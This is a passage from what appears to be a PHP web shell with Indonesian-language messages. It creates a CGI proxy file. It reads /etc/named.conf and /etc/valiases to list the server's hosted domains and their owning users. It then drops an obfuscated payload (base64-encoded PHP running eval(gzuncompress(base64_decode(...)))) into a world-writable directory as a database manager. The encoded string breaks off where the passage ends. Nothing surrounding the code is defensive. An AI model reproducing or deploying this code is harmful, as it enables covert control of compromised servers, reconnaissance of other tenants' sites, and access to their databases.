$idb1k = fopen('hsh.zip', 'get');
fwrite($idb1k,$get11);
fclose($idb1k);
{
@chmod('hsh',0755);
}
echo "<font color='aqua'>";
echo "<hr>CGIProxy sukses dibuat :D <br/>
Silahkan kunjungi http://alamat-domain-kamu/.pl atau lihat hasilnya <a href='hsh' target='_blank'>DISINI</a></center></br>"; 
echo "</font>";
}
echo "</font>";
}
?>
<?php
if (isset($_GET['idb']) && ($_GET['idb'] == 'domain')) { ?>
<form action="?idb=domain" method="post">

<?php
    echo '<br><br></center><br><br><div class=content>';
    $file = @implode(@file("/etc/named.conf"));
    if (!$file) {
        die("can't ReaD -> [ /etc/named.conf ");
    }
    preg_match_all("#named/(.*?).db#", $file, $r);
    $domains = array_unique($r[1]);
    //check();
    //if(isset($_GET['ShowAll']))
    {
        echo "<table align=center border=1 width=59% cellpadding=5>
<tr><td colspan=2>[+] ADA [ <b>" . count($domains) . "</b> ] DOMAIN</td></tr>
<tr><td>Domain</td><td>User</td></tr>";
        foreach ($domains as $domain) {
            $user = posix_getpwuid(@fileowner("/etc/valiases/" . $domain));
            echo "<tr><td>$domain</td><td>" . $user['name'] . "</td></tr>";
        }
        echo "</table>";
    }
    echo '</div>';
}
?>
<?php
if (isset($_GET['idb']) && ($_GET['idb'] == 'sql')) {
echo "<center><br/><br/><nobr><b><span class='b7'>O=:[ MYSQL</span> <span class='b8'>MANAGER ]:=O</span></b></nobr><br/><br/> ";
echo "</br></br><center><b><span class='b11'> You Can Go To : <a href='s/db.php' target='_blank'>[+] HERE [+]</a></center></span></br>";
if (!is_dir('s')) {
$mk = @mkdir('s', 0777);
@fwrite($f, $c);
$f2 = @fopen('s/db.php', 'w');
$sml_db = "PD9waHAgZXZhbChnenVuY29tcHJlc3MoYmFzZTY0X2RlY29kZSgiZU5yTlBXdFhHN21TbjJmT21mK2c5UGltN2NFWW16eXZqWjJRUUdZNFE0QUw1TjZkeFY1djIyNURMM2EzMDkwT01CbisrOVpEcjM2WVFKTGRjK2NCTGFsVUpaV2tVbFdwSkg3NjBZL2pLQjdHL2lLSzB5QThyNzZvZFg3NjhYWGlwOE81ZHg2TWh4K1hVZW9udzNnWnBzSGNyemF4T0JvTms5U0wweW9tS25Nc0VGM2hYeTltMGNTdnVzS3RpM2t3amlPcVVTTWdncGVBWE9Pc05SQnI2cnM1QUtDSlB3MUNxSCt5UFR3K1BEd0ZMRWxLVFp0NVk4anU5eUhIM1lBZmt5QU9QVUE5SEw3YjI5OGREbXUxQnVRam5ZME5oV1R2WlBpdnZRUEdBZjlWajM0N0doNmVBQUxNcllsWG9pWGFvaWxxRmwxZFpXZnZlUGZ0NmVIeEg4T1QzYVB0NDIzNEZOMnV3QmJrNE44ZXZnZjQ4Y3hMa3FGL0hTUnBVblV4YnlXQlg0L2VRb1h6UEh2UEYyUEpxRW1RREtmTGNBeDhRcWp4OUh6NHlZdXJMdVI3bzVsUFpXa1FoVW0rS2REQnZZTjNoNEM5K3NpUC9mT2c2aXd1RmtFNGpaeTZ4bHJMTm96R0dRZGdPQXZtUWNxais5T1AweWoydmZGRjFZdGo3NmJxRG4vZGhjRndoMGVISjZmUU15OFJGUmlWajBzL1NXdmlzd0d2Nkd5R3VmUnZSTGNISDUrODJkSW4wR0FxcWxUd3VYa3JIZ0ZMaDY3T1orNVFVbFlCSGlSRGJvUkNBdTI3aFhLSlhPSG1YUDVQRWhsZmVESDBqc1p0bVU1Zk1wMEwzNXY0Y2RVWlIySHFoK242NmMzQ2I0dlV2MDQzTHRMNXJDTmt0UzVVV1gvcEVEbmh6eEsvZ0hNVW5EOTdJRTZzY2hmSzg5SGxBekZDamJzUXpqeFkwcTBINGd5U2FQM2x5MmQvWDk5MEpMZHgrZnF6S2JIN1pQZjRuN3ZIWnk0dXA1UGQvWGZ1QUNaVWFYYmJ5ajU1ZTd4M2REbzgySDYvNitKS3IrQ2NBNUV3WHdCU2xoSTA4ZVRZVFNLUVJNeGxiM3k1WE14dmtvOHpWengrTEI1VkV1K1Q3eVhUWU1ZVGFqS0NEb1ZRWlhRUkpXbGR3TWN5OFdQNldNQ3FwQThVRnZBaGU4aGxJTzVvdmFXNHFxQVZOTTJHMDFtd3FISWVsY1orc3B3Qk04WEhxblB5MitHL0JCVWx4QmxzNmlNSlVST0xxcnQxc2Rsekc5VFlJWW5WS3NpbHJRM01KV1RZYUd3S29CdDVDWDFXRFk5K096MDlHdjZHUzJ6UWNJZnZiMDcrc2QvQWJtTlZPWGp1V3psNEtRMmV0MWpNZ3JHSDBtQmpHVjZHMFZWWUNyMFRKSXNvQ1JBT0txVXByTlU1NUhlRWFsRFhiZWpHc1VqSFBreTgxSU9tdWk3a1hGMUFNYzZ1SmZUckNuSzVsMU0vSFYrb0ZTbzVvZGR6a0FDekpUUFBaRTBROUFPR3NHZzBZSm5ENTNLK0lOaXFnYTNwaGMzMHhyTW80YmtDd2paVnN4UEp5VW5UN2JxTWwzanhXUTBTVHdHbUN5TXpUODZ4WTBjem1FbStDTUxGTWhVTTR1ckY5RDBtRnhGSHhxcTlRWFo2UnRNMzM1elRDNTlHUk54RVMzSGxoYW5ZZ1Y3TUltOUNVL1FLWkdvWWhZUUpSaS9iMHN4RWhjWHFqMU9CTlllSXNPcmFkR0dLeU9sclppOWdnSG83eDRkSDRuVDd6ZjZ1MkhzbmR2OWo3K1QwUktUenhkQUx6LzBaMXdLd3Q4ZTcyNmU3RWxBWGk2cVVMR0wvOE9EWE4vdUhiOFRCNGFrNCtMQy9YOU5WOXcrM2Q4VE85dWsyQUwzZDNoZXdZY0VHTGx5bjRVMG1DZXlpRjM2T1NRM0hCYWpUd3dLNWQzdTcrenNuNG5UMytQM2VBYlJuUjd6NUE3WVRMaDErTmhMbWR1aEgwK0hRRmJzbmI3ZVBKSndyOXZjT2RoOVNuZnRReG1mVjcya2N6VTBEVlpjdHBtYkxjQnZqdGZSNjlXSXlZaWE2eXMrWGZSaGZuakJURDM1T1JFNzJaQ2NJQXFJeUFEVVhYbnFCbjFsTzMwdk1YSzlMVVlIMXoxellQZnd3Z1FKMzhFMkNoN0Vwb1poQjVteVB4LzRpWGQvM3cvUDBvaTJjQm1oelVMdGFrU0tDcE1INEloSXl3eElPZ3Y3OTZjZFhQUlFTVzdqUDlmQTNZTWJmY3grRXowV2FMdFpCYXdrK2RaMjMxdDdvcUhIdE9pczJYa1NSQnVuTTc3My9BNFQxMWdZbklEZEpiMkJVa0h1eThqaEpFSHdVVFc3cTZlVHpGREMzUld0emNTMjI0OENiMVUrOWkyanVkV2FneTYxZitNSDVCUlkvWDF4M29QRU5razljcDFnRk44anpPRnFHay9iUDArbTBNNHBpNEJyVUJzQWttZ1VUOGZQejU4ODdDMWhmSUI3YlVMOGpDV3h1U3Z3ZWFHOFdlaGk5WlJ6NHNUandyMENaZkIrRlViSUFCZnhyU0NINlVTbytNK2o2T0pwRmNmdm5VUlAvemVCN01zRi9PeEpnU3Y5MFZuUTUxMzVQZk9acTR1ZG1jOXBCZnE5UC9IRVUwNHh0QTNvL1JzWVNiUHNpK3VUSHVzSzAyU3hVUUJuTGZKbWxMUUdqSlJ1ZlJvdTIxVlhEZ2ZWUmxLYlIzQzZjVENaWmRyWHdYODJhWndEWmFzS1BaL3kvSXJmNXZjajlIZis5bTl3MEdpK1Q3MFVQL3ZHOHUrbmhvdnRPNVB5LzQ3K3J5ZUc4V2IvaVdUS0taaE9idm9DNUhINjJJY0lvbm5zemhBRTdadjU1N3NYblFkaHVhdlJOTExyWUxDdFFNL0VwRUxYWExtVVFqU1Q0MDIrM01DbW45ck0zejE4K2Y0Y29sN01HeWVOWllGQkxvS2RQbnhieDJkOVkvWE4rNHBKMm9GQzhlUEdpTXdVTklHM1AvR25hQWZzUHJPaWI5bWdXalM4N1Y4RUVSR25yR1RDdHc3VFhZMEtPYkVUa1d4c2t3a2lXamVOZ2tkckM3SCs4VHg3bm9reFQ5cWg0ZStHUEw3ZG5zeXF5VWRtRlZiQmRSZEJ0ZG9JdHpHN0Fqb2s3UU5LWWtUanZCR3RyQklwZ3FCZG5nTTZDZ2R6Ly9BYnB6V2d3amk4dXZSbG94U0RsRzJNa0NSdWZyTWRGS3BjM0FLdUJsV293SVdLeG55N2pVRXhnQlNDZEJ0alp1MHp5emMzZUJLRjRlOVkxenlPUFBxcndDM1dsU3RWVldXNnR3UjhOTWtTN2tPamtBWkxsQ0kxcmlSVjRTOHhENW02b3JRaDNCa0U4N3pwNk5wQTJ2QTdERmkzVDlqUzRoajZKSzFnazZ5T1EySmR0K3JrT1BlYWRpSlZFSE5tdTAybzIvK1lJWGxCZHB3bDdtVCtieVhtcjB5alZaWm9ReE96SDZEb28rRGhyMHR2QzlhSmF4aE9LcGtySDZaMTRVeCsyaDRuZjNucTF1RmdJMm9TQmwrUHBlZFZOb0hBNGgwSlFOMS8xb00rQUJsSENoaHY3MDY1akpsRmJjOWVkUmVmUVZWUlFlL3YwdWJYaDljU1hhb0VLNDAzbVFVajFWSTBOYlB0R0d1TVA1QXhyQUE5Z1V1dFprVXRiaUMrbEFjTWVTMWZKSEFkUitVcElmK24yck9ISFlaOTdsLzVGZ0w0eGxkdmhxdE1vU3FYdHkzb2VsNHUvL2hMcUU4MWcwMFdjdjQra1FZSUdzZnBFYXo4YWV6Tk1vR253U05vcUVvWStwUzMzU0Zvb3NvZytvZWpKaytaemx6eFFJMndaWm0yeGFjUnJIOW8vOFVOSEJKTXVPaEZDVUgwZFFVcWNTZklhY0ZxTzJPaTVzbGZLRHVTRzFtajlTQkpnK0RrMmpiNGswaWNxZlllcjlDVVpLODEwK2s1RjUyejArcUZEUzk2bWlOMldkdGE5U1dJZG02Uk1XeVJsVGpsSnRBc2ZTaExyMkNSbDJpSXBjMWFRUkhQem9TU2hUb1lrcDIyU25GTk9rc3pwQjVMRU9qWkptYlpJeXB3eWtsTHhmaGhOV2NrUU5SbWFxc25TWkhIZS92QkZWMVRlRThYcmwxMUhtSjVYbFlNQjVHSUV2MUt3NzZuWXJkM2xaVkJPQnVWalVDNEc3V0c0di9kcWl1NjExOU5vZ2VZU1duMTE5OHBWTmlXVTF2S3VBOWZ5Y2JsZjVlUDZmL0FjcmZBVjFRWDJTRHVNcHV3cmtubGtaUzdqR1hxVXJUTUZlZEpRZDkwNjhZZGtkZFhkZ2Zhak1Tb3V2RVFrU3pCQWswVHcrSXMwRW5vN2t0WXI0RzI0RHJBdGh0MnY2d3hITXk4RTh4QktFU2V5eDJQdTVKMVlaZzRBMFRlTW4yMTV0MmE3dEdtNGdoQm1CUXR0L2dSY1BJQ1gvZzEwQ3Qyek1LdmxWMHF1VlJvQjdaN1gxY2c5cjd6elVNZTQ1bFZDNFd3d3FnYW1rWTJTZ01wMmNwNGJySTZaTkRXNUJYVzNrK21HUkl6ZFlHUzFiMXdEOCtySHFyTjNjTEo3Zk1xZUlwNDNwREFxY2pYeHorMzlEN3NuM0VQTWNQQWd4TjFqbm9iK2xZaFJrWjZJYUtvRzNCVnRrWm5udFd4SGxndVk1bjUyUENpRk0rZjVVMmJqdHd4SW50a0kwSEM2OTJlNUdsSEY1TXJWaFI4cjcvUHpwME8wSFVBblVRM3VmUHN3ZkRqYVFkZWdOUUludTZkNld2N3J0OTFqS09SVzdPKzkzenNWTFI2SFkyWStzUlRrN1pkWWI0VHl4SmZDMkdiNkY3dFpnV3ArNmcrUjg3Q0Y3T3p1NzBLcjN4MGZ2cmViYmpmWCtRN011UThaNHNZT3RnNVZ2M3ZQU2NrWGc1UlVPOE9sT0ZxNDM3ck9rRUxXbjJub09UVzE1ZTBBS2Q1QTdHYWJ2VXFlZjdodVR2eXRHRzZvSnB1U3FGMnU2cUordmVOUFBkZ3pZSzdqcVJsay9Qcm1kendlcG1NNVNMN0IzM1Y1OUFmcEQ2ZnYxbDlpaGp3VGc2eDllVHJXS2RQanlaZUhVT1RiRSsrOTBEdjM0eFhhZk4yMlFYNzZFYmZKTVZpVFBsZ0xpNTdLMm5ramZrTk52ZTBxSEtTNTVBMEhIaGxFR2Z5Skdadk51a3ZLQ254ckhWb1N5U0QvZ0NyK0Y1SGpjSzlFenVweUdmSWptQjFmUm81emFDVnlWb3l6eUZmaWtoYUZhekNnVTFsbW9hNkhPV3hYUXdiWnJaZ3pTbDFOWW1NQnRwOGNocUs5OWVwQnZnMS9FcVM4R0tzODVIVXBYT3BDejJwMTJtU1piU2lkakc0SWZab0dNYXlSdlVSRXNRaVNzTyttWXBKZDdLK2dBNElkRlBLTW9PcHl5U3lBYVZGcjBLbzJ6Z2FvMlNrQ2NlTWtGQ2RLb0hUVEphQk9sOEJtZlJpYU1XRGhzOGlvV2tkc2VMS2trcm9yZ0JCV3NUeGxnMjZNTE1LY0tBS3RJQW9nclB6cEJ0ZUpLL1VGckZIZEFqTXdwaEU0RGdUS0d3VlJreXA1aHJIMGJUWlJqVGRiQTdObEJmelU0MldCZklIRkZ1UnFKOUdYWEEzMk9HWEZFM1hEdlkvSU11VThXM0tadXRsU0pFZ0RyTVNMc2JxWjFzRGVUNGhhUkFxbnVGWWZSN3BkdHc5cmplVDhneHV6aWkwbUgyY0RXUlRuL3FvQnlUVzBNZ2FGMEdmRFMyOTB0R3Npa25DSjdwZ25UWldHUkJDbU1LT3FtZ2FlZ0p0cFN0RldITk1Ec0Z3aTFrV3JKbjRSQ21QMmVEQmJ3NmJVTXVzZzY4bEJKU1ByYWNua2tMeTNjcVJJcjMyZnNBM1NGejZSVTR0VkJ3eVdBZ3lRTmFTelRiUFRVQ2lGQUd0TTFXbTRJbDZHSVdwSFFZZ0YzQXJJQmpXY2t0aVdodnZhS3NMdGhOV1lpK0Q4Z2dtYlJ2U0UrN1RSY2xWc0ZRL3B4NlVmMzFpaEkzanUvV2I3WlBlRVQ1SW5vOXhJUThiWkFIV2o5WFZ4d2tmTG5wZ29VM1I5WFZ2VHlMWnlRNXBJYWg5SmNnWS96clExNnc0UWV5NkxCeGRuS0o5bUYvUWY2Y05JOGcxcXd4b3hPLy9aQUpMUmd0WU83ZllKckNDcUFyWXNaZEJndWxFSW94bWVVeTJ6ZDZRWFFkTGcyc2taSlZUZHZYRGlYdzlZZU5hUW9uK0ZCeU5RdlZVelNpV3h3M0NTYlFRakxMTGF6TnRsSE9OeC9RUzZRUjBSWmU1bDA3aStTOU9BaExqYkp5ZXpsYUZ0KzZ3Q3J1aUt2NFNpZDRwbDVjVDBoa2Eweko1aHlGbDU1T0UrZXlpZXV1aTdiRzR5VHJaOENkZGZYNE1MN0xubEdIWlZuOUhoaFBwNlpHaWZTRHp3UlhnR1NxSkxWYzd5bi9EY0dFNUdlcEI1dllFRUFMSEdOaDNaRnhWWTVXb1JOdFVRSVFaZUp1ejhNaUJTMEZXODJTeTZRbzNQcnBZeHJSN2xzZWdrbXBNbllPZTlQUVZKbTdQMHlFUzNHMm1xZFhJNFRLTGhTRXZabHRCMUxjUUpwOTNnbHVFYXVVaDVQeU5YRmNid29aOXE3cWNYMGFUcllEaW5vNWNGckpEczhjaG1zL21nSXlSNU9DTEdFV1lEeVUybmQ3d01CUXBmNnNvRy9neGdmd01WVG9zMWF5bTFyVU1iZWRDeWhVbzV4aWZJZ3diTkZrZWZWVUdobzg2bitGenplYk5wamt2cGpCUFAvS2ZBbzdhM1RDTmFVQmpOa1N6OGNlRE5hSHV4NWtWOTkrQjArSThQaDZlN0orVGFWRTNvY2ZQd0NKbXA2WE5nT25RR0JyQW5XalpzbE9wbTJVMVJSeWFzN2puUzlsQXBlWDd5RCs3aVJxOTRqR1hXUW9rV1VyZG0yNFBWR2xwb21DaVRaM2dnVlRXTGhkemZlZ2tZOTZGeE9XajU0QmFjekx3YnZqM2MvL0QrNEtTd1NEaktLcnJLeVhTNThkM0xoY3pWYVMvRlQ3TWllSDZ2bXROUGluTmFMdzV6T0lyS3BGMHc2YjBML05tRVJzck94UmlpUXViQmNqWXJaUDd1M3hUeXBIdWprTDk3bmNaZU5oZG5oMUlwMGEwb3FwSjk2RlBVWVdPNHE0NHdiR3gwWGkxMkNvVXlBYUI4aU1KNUJBb1FMaHF3aW5FM0pxZ0RPa0p4S1c2azczWU0zREl0QWJNd0luQ21FMUNHTG51WEdJZlJyb1Z1S2doazRwMEF5RkFFZUJ5T2trVm5KUml3K0I1UXlxZjBaVWdhaGxWd2VrQmcxcVVqcmVSYk1kcG1tZkNXN05KNXI4bEZXZTZ1T0p6SnJCdDdNNjFaaHkxZnYwd3FjVktpUytYYnE5V3FpODJlNVVOSDFVeXExTlllTDkyQmoyUHY0ekxxbUxNaVkzMUlUQi9Zb3k2OW52ZkdjdzkvYjBiNnJOaWVWN2luTzRvbmR3WnAybHV1Mmw4WFlEZzRKUnR3N3k2VDhrdm11U1hzczBQLzlmTHRMcmxCd3grRElXRXYySUUrbnFBckdzVzl0RmdoYTJ5cW1xNDhxUGkza2s1Ym96SUJOWUw4R0tNYXlpUlRWbFhKYUNhODIrdURuck1DNmtGT2UzbG1heS9QeTdVWFptQ0pjbUtMbmkrc1hKdTl5SFdjbUhuMXJhalJaTlVWdTNOYWVkbVR5WTFDbXpMci9mdlI1NE00VGYrRFRCYm9GM3hjZFdISkNHVnFLRFhMYUVMV3hDVjlCNFhCYTMzWnJRTUwwYWhDOXVtZUJNYmxCSm82R01IR1lLQ3hNY2xGMVVIMWU5UWp4ZS9uendoL0t6RFd1YmkyaWpxcVE3TVQ5RUlTVnNsVkFCS3ErdEY0QTM3NkVVaU1VZGx1dHJXczNjV1RGaUJ4eDFrK3haZDFaTlZXbTFzTmVsMGFvYmtSVjJFVThHS2RiRkd6M25vQyt3cnBmdXdyK0lVaTR1VStWbUtqRUJPMFBTVFZGQSt3YTJFTEpVTllMVW4xb3czSS9oOFF2SUgwVU5GM2xlc2EwMGgrNVhYaTIweWtocmtXZ3ZSby84cEdDTENrZC9xeFV4ZE9QNlNmcVZPcnE3TW92T3VvZmtCdUdnZno2b3BCcThtYmtJYlFJdmJQTlNWbm83L1IvK1hzdjZyOVgvb2J0Y0V2K0dzalFJSUNmdWhxSkttdzN0eWpuV2cyZzVySTZINnk5dCtmWVJSdXEyZjlxOEZhalJPUWkwaDA5WHFGNnZsSjRVaE9GWnkxQmh4RmY1dmRPQ3Q2aHNQV3Bkbi9iVnZQU3RXYTVvYWVNeHg1QW90NW0zWkhvMjVWcGloRzJUMzYyc3daeWszcy9SbERVU3NZaDFvSnRuUWxTS3l0VVR5YVpJRzZpSUhsUTc2ZXhTaUEvd0V6RE9SUEhoRHpDb0RBMWp3Y1gxcklnT0hDQjVrWFJsZXh0K2hSTTJDYjRhRExYb1VSUTdXYWpKK2tqanNaYVNWbG16U1A1bUhoT2ttU1JHT2o5LzNibUFKYWFaTkJDNVZScXhBZUFiMlJjUkVnUEdHWEFkbXREdGxVMGpydnZ6dE1Rc0xuSWlYRTlzR09VRW9JdEtDQlFZOW1RTmhQTUJ6UGZDODBLREpLdjZ5YlUwSDlrRlZReWw0OW54V2RNcGVaZGVUWUo0T0FYV1hBVEVLcVhHZGwvc0pkZ0w3REdaZkJQUEZuOTBlODQ4OFFyMjN1QU5jS2RzOHlKSWMvbDJTTm9Mem95T3d4bTIzY0tJeEwzNXRPeVFuTWU0QWlBOXVUS2hCWUFKc1lxMnhlTEJXMXdnNTJhLytYMjgwdGx3UkhOWnljYnA5K2tENTY0c0NRNVl0TUVFbDBvM3VwTjhTVGJuVmNVdWFKbHN0U1JlbDl5V052b2JRU2E1STB1KzJISERrdnI5Rm1tbVNsVEoxalNGckFPU1M0MndHTmNiUU1kY0JkRmlMTGg3VTFxNnRzT2xKQ0xnTzdCeFplblczTkRoMmwrT1hkbzNuSDd2RUFKK2VEdldGM09IMjBrL1J2WU9ITmduTWd6cUVHV21tVmtkRjBKVUhycGxHb1ZGaTZwRENLcmxGMmptZkIrTExyNkFzVUpFR3BJVnFMelRpUmNKZklaK0l3RjcxSVppQUxaVzloYmFRK1hmNHZsTEVLblNzakVTWVB2NHdWTWVudGh1ZWdWeFR4UjdPWmw5MnRiMWM2ck5UYXNjUGdUQ1R0djVONW1CdHRheDcwTXRIeVpueDVJdkRTR3VpWm9NVHJtWHRBTng2eDdTVmpmYy9ERklNbGUySms4aDkyYW1Uait4NG5SM2w4dWRPakU1WDhOcXhseDBobExyeU1aQ3gzTHBaSndqc2hyZVgwQlVocmNXVWhWeTB3VTVXWDJwZGFvaFplRnU2MjZKek1MQ05saFdld3JuQ0Rua2FwTjVOaDRtM3RwY1A5NFk2VzBjWlVYcTczaDJLeDhRZTREYzBkOFVvOGhXMS9rNXdHZDdwZ1NjRldYZXc3RG5mUzZXZDlEVmhnSTM4SnlKOUxNRXVhOXgwVDhtOWRJV2oxSFhYOVFLMTZ1azBnVGdBYVJScmQwYzc0TXZvT3BjekZCQXdVdDFBNkRSbVozaWgvSDhJeDcwTVk0dWdMZ2hUeUVWTFBtOXlJSE4xUmFpcXdHOFc2a2hGZGhiRm5YM2JadmFiYlFXelFZK2dWaldRLzYxeHh5bUpjNnBuN0VvV0lGeHdYNldxaDZ0UFlzaSsxcm1ZcGpxOExzZk0vL0NDaitFcXVlb0VhR0UxdStJWWRYL3EyNDZoMDhCb29vd21IZ3RIZE5YZHJFbnhTM3JpUzY3dnl3blB1WnFvNkJteXBxNmQ4MzVOdVo5Sm0wZWE5b25ndDFTSHpnZSt1UTBNNnVoa2IwQTVsV3Bpb3QzRVVYUVkraGJUWEJic0E0ZmNzbUpJS2l1NE9rSm5CTlRwWXFFL25zMmdFeTdSQ0dnNjZRZFNUQm5YOU1rdUhJLzA1Um9ocnY1SVZ6bHltQjluMG1JdnIxdlF0QUVtVGY3K1N2OXU1aXBqSmlpZnNzL0tTbWZVaURQMGVIaDBlbjZJVzJoVlBuejZ4d21kQTJwZDNWM2RpamFqVzg2MzFVRkxuY3lmUjNBTWxEL05sV3dweGpPeENrbTRqUDVhZW8vRXlMdmlRK1BFU3kvMUVSaXZHWDZHZDBOUFZHVkFGVVpHSkVFMm45RFNQZUtiaXE4aVhPUGFER2RmZU1MV3RtQzVDaXNDTWt0NlpZQzlhSmNYM0hMZ3c5OXdEQTZrZWlIVWhxWnRhcW1oTlZMSWdHQ2tteVJPYUxUbWhDdlZhV0FkQk90bG1RYzBxQXN2U0dtQmdFbzhmaTlLQ3hNWnZZaW5Wa1JuVktXV0MzVC9tSjFvK1VaRTFYOXNrUlllUlN5cllkVnRPWmFaRHRjaHphSHVMenN3Wmkrd0podnAvUmJBTS9teWhrdk11aUJQV3cxeTVQZzFwSlBqMTZOMkczWWtXYkxOSTd5ajJQOW5rdEZzTitVT3pRTUQzVnBjR1FGVFUxVzZMT2VpaUNYQ3hhK3dnUElLR3l4aS91ckdJQWh0NHhwOERibVFuUHpRTmUyelVLSDhuTHExcExoMkEzS2VnTUQwbWVHUE1vaWErdnArRWc4bnNlNGxOSnU4U3R4TFl3VVh2Q0t1U3JxWkxaRkFqSVdCbXlZdnhCaVFuSldjUjZKK1lYNldSZlhYWFd5ZXNkc2gzUlhETC9LY2ZUN3pRNjd6WmZ2djdyOGVISHc1MjJ1TG5kL1JQUjc5NThoSjJ6dkozUmZCcGtlekxCSm5EVnJMenRTT0FicTluYnE0WG1nSHpHVFFpdkU3ZkZzcTlhbHZ1QzFtcURIYVRKZ1hMMmVSYjgyVTNwQmtCNlVIYTNpUFdGV3JrNG43Mk5SQWZQMm1sUlQxb3M3SGhoeE43R0RMNmpIL3RqNWNwM29tYytqcDZ3R3hRd2hTQU5GUzE5TE9GV050bFQ5UnIvQ2JvT3FKUVIraUE2bitnVTFVNkIxRUZXa1lYRUNZWC9tdzJ0TkJLSEs5TkFiZm9iaXczU2VyUFZjTXlMMCsrNWpLTlJPRUhJSG82a2QvdlljOGhaZ0x2cEMvM2JwSTQxT2xGdkN3bnFrcS9sZXpySUJsQ3pXZ1pqL0dhS21KWThFMWQ1THNUTzdWYVlSRFpuL2pvOWRTUGNITzJBQnA0MFRmR1FQZkt0TjVxYnFvenpkY0xkUS9XYU5acW1jZXNORmd6Q1BDajQzMFJLK1VsdmFDSFBYbGVPVlNNZWlicDdCSU4zeXhHU1U2LzIxaXVyNlZwekdOc0w5OHRReW5CZm55OG5kdFY5NU81RkM4b005ZW5zRXdTaEtpL3pnVjJFQUxpYnZhUzcyMmU2TVFmTGM4NUd0eFdpUFZicFBkK3ZUUkZnMWNDZ3A0Mjh1TWhMbEF2QmFXaTdERlQzUG8xbFZvZGpFbXQzQi9GRVY2SjgzV0FpMElOMjJBQ0hRd24xYVRtbXFmdFRHZnVkWFd2aTFlWjFTdFYrTTB4ODExKzNrRmZqZ0hsT2J3MFowVXlOcitxdzkzYkZKZUpOWXV4K1RVNyt1Y3R5Tmd3b2tmUUVBTmVqK1o0ZTQ3Rk43NTQ4MkFmamp1UjUvY25yR3REQXFiMmloaGZzblRDeXd4dGZVMWJSWXZUZlcwNnlTNmpteU85NHRxQWl1VlhyQXBDNmFxM1RyNzFhd1Q2R0JndklhcmJoK3JXb1Z5L0ZISjBTaStId2ZZRWRCSVdFaUdiMUYxenZ5RUx3a2QyeWNyeThTekExOGxHUWVqRk54MUhNYWl3eWpHM1pEcXBoMVVmVitpM2RmZGVIVTF3dnYzQ3E1Q1o3S2ZseThyeWVCK3p6eXFYQS92SjFrODFXNDBYRWp2d0VkOFp0dEZMckhUeUhpejBtUjFEWkZVVHlpdnBqbjFRSnlVd28xYXY4NVhGS1NuQVRnYk9QdjZYUi80Yys0TTh2a2NWZ2VmMURydWwrT2M5Sy9iVGZNVTdrQ2lHeUt5Q3dFVkhseTMwUnVkalcyWkRjbTN0YjV2ZGJwT3VIT09UUDZRSjRpdGtaZElIMXNrUmlQZHFoUlZXZWt4Q1ZNTG9pcDVOMERFdE1vUENRQm95OUVQbkNhdXkxTTVOMllxbm5qV0p6bXJvalkweWFJcFdrU0VxTXJzdTFzR1N4VmVrTm9wdGs1LzRrblIyeXNtQ2NxWjhXREJiYkU3UVJrZ25nWHBUS1hhRnpoVGwrUmpEYXg4dyt4RTJDWmM4TFdPSU15eGFidzNxbWZTbWVpYTFzbHpJemdSem02NUVMM3Rtb0ZZeGtRSHNTY1k1NVJ6QTU1NHFuN3pZT0VkMDBJajlnTFVHVWIxVVVGM1J0Ri9sY2c4aU54c3Rhd0JiR2NBLy9DUjdpOXpTYTZDQ3BSQmtHd3pmb0RFc3d3UFZZTFVvcGg0aWVnU0U4aXFoQnFmRmdvUnhyY2lXTWdXTEJzWmVxWWdtME5qSnZ3ZHBzTGRHY2M4MUdtT0Z0aXJMZy9SSXFaSzhONUZEbEZIWjdXeDJMSkZheldpUnFKUGJvSzB5L214bXBuZXpJRGsrbXRaTG1HSjdDcFhJZ1h1RGFwMDg1STU5WDI1aFZGQ29ZQjBQMDhtdzNHNHBnZTZMNW9zbkw1NjJYbTdLTngza29USTVaQ1hRaGdVa2ZvRUV6Q1BNYTRvR1dObS9qdXhwWk9GOSt2TFppK2QzSWlXSUlzYjNxekIrb1kxbHJmdDlsSHUvVngzNzAyK0VlSE9UeXZsdEpqWVdLa2FTUTE4Yy9YYjBuOEZDUHFCWHdkTk1EcUZSWE9aeVVLS0N1UGFERk5LdkN3YlArWi9qYUw2STZhVUdBa08vQmxUaEpUeSttdWhRY0tNZElNYWFvUGR2OE9veGhTd0VNU3BjMENYMTRDeVdkT2tzVmF6M3hLOSsrZzR5OXlHVDYzYzJOdGJXMThUNitzK1BmMjYxbWkwNytFY2pKbDJqMjBOTlEyZWVEYnBLdEgrcXEvZGdFZU5heTRyeHF6N3k1NHRVdGZYeDQrcWpYUE1oSy9NNk0yWFdRTStDRDlsQzdvL0tZcllvWnNqcHF4cFY2elZybjFmMVFEK3ZiZFFzZXByWkZGQnMxcFFmTXdTRFNKZ2lrTXV4bTFNYzJOaERvRW1kRHBod2J0allPdW9KSklLNWMvd0tiNUpuM2dKWG8rZE5KdStveGJJUmRaR0J1eldSM09zOW1JZ1VHaUtyVWs4UnFNREcyNnlva3R4ZUtab0tNd2lmZzBxOU5CaURabWk2cUlmUHVwbUVHeDd5TlZ1bUxrelFFUjBzWFI4UGN4RGdvcVlsRXBZOTZvSTZRd2FMU2pWY0hyQXVJaE80dHphNHNDTWZ2ZU5Xb0kwdW1aSnBQSm5qRlE4bWNtV3F1VWZqcGVnWEZIblAzbXhvdmVPNUtkaU1ndjZ4NDQ2b2RBenJBaHRSWG9xdldtdUlybkQ2MTgrYS9ldW5vLzUxOHhuOC94eitiOXIvTzZwaU5Kc01wVnRieU5nbmE0U1dZWEM5dVJNbHAyZzhWekFsemVhbWRQRkRTbW43ZGprQnZFSnhnNmZqb0xxMjliZUdNdGZTRkpJejl3WSszQUVlVWZ6OVpaNkVMcVdHSWtBbld6ekhRM0xKbmxhK2JPTGQ2S3E1c2d2WWJoTXFWTEZmVnIwZ1hLTGtIcFNVc1gxdnltN0Z4b1pBajE0d05WcElXZmZXWmZlMnRzVG1zNXI0SzhzRDdnYVd0WXBsM0Ewb2JNR205OWRQUDFiTE9vTEZKWFYxVjZDOFNOYjBwdGNUcmVJT3J3VUdUbE5VZjltTXo4NEhLWHRXYXY5S0NrMWt0UW1vVS81MVZTNnA3R3lqT2NKMzlQMXJxdkFEL3RHV2F4YzJWRVp3OW54Z3ZsOE1mdnF4a1N0L2FwVS9LeW5mdE1xZmxKUTNyZklXUFVXT3J6UzR1a0c0MGdoY1p3QUdweU9EbWVNZnNndnhDZnovMUpGRkRTcHJQVldMMGVTWkJXcmx2Y3psYVlwOFdSb0dhY2d4eW5yN2hGSGlUU2JHUHo0RFA1OXNXcmwveWtmOWpLNWdWOG5oK3JOUVRXN1hhdGYraytkRXM1NnJBalA5YWEwT3RnODNITjJhQzI5OFdYWC9pYk1CMnJTaUFPbVhGOG1